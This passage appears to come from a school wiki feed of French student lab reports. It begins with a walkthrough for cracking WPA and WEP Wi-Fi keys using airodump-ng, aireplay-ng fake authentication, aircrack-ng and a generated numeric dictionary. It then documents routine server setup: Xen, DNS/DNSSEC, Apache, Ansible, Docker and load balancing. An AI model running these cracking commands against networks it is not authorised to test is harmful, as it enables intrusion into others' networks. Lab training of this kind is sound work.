On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51838</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51838"/>
				<updated>2019-12-16T21:03:57Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Configuration de vos serveurs internes */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Chlamydiae on installe bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;chlamydiae.site&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accès au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter: &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
C'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options: &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
On signe les enregistrements de la zone en exécutant la  commande suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.&lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # réseau de communication entre les 2 machines virtuelles&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 192.168.0.14       # réseau de communication entre les 2 machines virtuelles&lt;br /&gt;
   address 192.168.0.4/24&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===Paramétrage des rôles===&lt;br /&gt;
Crée un dossier roles dans /root &lt;br /&gt;
 mkdir roles &lt;br /&gt;
&lt;br /&gt;
Créer dans le dossier roles un dossier common et un fichier common.yml&lt;br /&gt;
 mkdir common &amp;amp;&amp;amp; vim common.yml &lt;br /&gt;
&lt;br /&gt;
Dans le fichier Common.yml: &lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    tasks:&lt;br /&gt;
      - name: include common&lt;br /&gt;
        include_role:&lt;br /&gt;
          name: common&lt;br /&gt;
&lt;br /&gt;
Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.&lt;br /&gt;
&lt;br /&gt;
===== Motd =====&lt;br /&gt;
Dans le dossier tasks on crée un fichier main.yml:&lt;br /&gt;
  - name: Write on motd&lt;br /&gt;
    copy:&lt;br /&gt;
       dest: /etc/motd&lt;br /&gt;
       src: motd&lt;br /&gt;
&lt;br /&gt;
Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.&lt;br /&gt;
Ce fichier motd contiendra notre message.&lt;br /&gt;
&lt;br /&gt;
===== NTP =====&lt;br /&gt;
Pour le serveur de temps dans le fichier main.yml on ajoute: &lt;br /&gt;
  - name: install ntp&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntp&lt;br /&gt;
  - name: install ntpdate&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntpdate  &lt;br /&gt;
  - name: Copy over the NTP configuration&lt;br /&gt;
    copy: src=ntp.conf dest=/etc/ntp.conf&lt;br /&gt;
    tags: ntp&lt;br /&gt;
   - name: Stop ntp&lt;br /&gt;
     service: name=ntp state=stopped enabled=yes&lt;br /&gt;
     tags: ntpd                            &lt;br /&gt;
  - name: Sync time initialy&lt;br /&gt;
    shell: ntpdate ntp.polytech-lille.fr&lt;br /&gt;
    tags: ntp&lt;br /&gt;
  - name: Make sure NTP is started up&lt;br /&gt;
    service: name=ntp state=started enabled=yes&lt;br /&gt;
    tags: ntp&lt;br /&gt;
&lt;br /&gt;
Dans le dossier files on crée ntp.conf qui référence notre NTP:&lt;br /&gt;
  server ntp.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Pour tester la partie docker indépendamment, sur la machine secondaire:&lt;br /&gt;
:- on crée notre index.html (basique)&lt;br /&gt;
:- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
&lt;br /&gt;
Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install rsync&lt;br /&gt;
      apt:&lt;br /&gt;
        state: latest&lt;br /&gt;
        name: 'rsync'&lt;br /&gt;
  &lt;br /&gt;
    - name: transfer files&lt;br /&gt;
      copy:&lt;br /&gt;
        src: DockerFiles&lt;br /&gt;
        dest: /tmp/gr4/&lt;br /&gt;
      register: copy_output&lt;br /&gt;
    - debug: var=copy_output&lt;br /&gt;
  &lt;br /&gt;
    - name: build Docker image from Dockerfile&lt;br /&gt;
      docker_image:&lt;br /&gt;
        tag: latest&lt;br /&gt;
        name: image-for-chlamydiae&lt;br /&gt;
        path: /tmp/gr4/DockerFiles&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: Create the container&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: check if container is running&lt;br /&gt;
      shell: 'docker ps'&lt;br /&gt;
      register: docker_ps&lt;br /&gt;
    - debug: var=docker_ps.stdout_lines&lt;br /&gt;
  &lt;br /&gt;
    - name: Last&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: started&lt;br /&gt;
        recreate: yes&lt;br /&gt;
        ports:&lt;br /&gt;
        - &amp;quot;8004:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:&lt;br /&gt;
  #  - name: Try to stop container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: stopped&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete the image&lt;br /&gt;
  #    docker_image:&lt;br /&gt;
  #      name: image-for-chlamydiae&lt;br /&gt;
  #      tag: latest&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      force: yes&lt;br /&gt;
&lt;br /&gt;
Que l'on lance avec la commande:&lt;br /&gt;
  ansible-playbook file_name.yml&lt;br /&gt;
&lt;br /&gt;
La tâche &amp;quot;Last&amp;quot; qui effectue &amp;quot;docker ps&amp;quot; ne donne pas le résultat escompté: lorsqu'elle se lance le conteneur est encore en création.&lt;br /&gt;
Mais en ce connectant aux machines virtuelles secondaires on remarque que ça fonctionne bien:&lt;br /&gt;
[[Fichier:result_crea_docker.png|900px|center]]&lt;br /&gt;
&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
  a2enmod proxy (au cas où mais ça s’active en même temps)&lt;br /&gt;
  a2enmod proxy_balancer&lt;br /&gt;
  a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Puis on redémarre Apache2:&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier chlamydiae.conf de apache2:&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:443&amp;gt;&lt;br /&gt;
                  ServerName www.chlamydiae.site&lt;br /&gt;
                  ServerAlias chlamydiae.site&lt;br /&gt;
                  DocumentRoot /var/www/html/&lt;br /&gt;
                  SSLEngine on&lt;br /&gt;
                  SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$&lt;br /&gt;
                  SSLCertificateKeyFile /etc/ssl/key/myserver.key&lt;br /&gt;
                  SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$&lt;br /&gt;
                  SSLVerifyclient NONE&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:80&amp;gt;&lt;br /&gt;
          ServerName www.chlamydiae.site&lt;br /&gt;
          ServerAlias chlamydiae.site&lt;br /&gt;
          Redirect / https://www.chlamydiae.site&lt;br /&gt;
          ProxyPass &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer/&amp;quot;&lt;br /&gt;
          ProxyPassReverse &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer&amp;quot;&lt;br /&gt;
          &amp;lt;Location &amp;quot;/balancer-manager&amp;quot;&amp;gt;&lt;br /&gt;
                  SetHandler balancer-manager&lt;br /&gt;
                  Require host 193.48.57.180&lt;br /&gt;
          &amp;lt;/Location&amp;gt;&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://ourbalancer&amp;quot;&amp;gt;&lt;br /&gt;
          BalancerMember http://192.168.0.1:8004&lt;br /&gt;
          BalancerMember http://192.168.0.2:8004&lt;br /&gt;
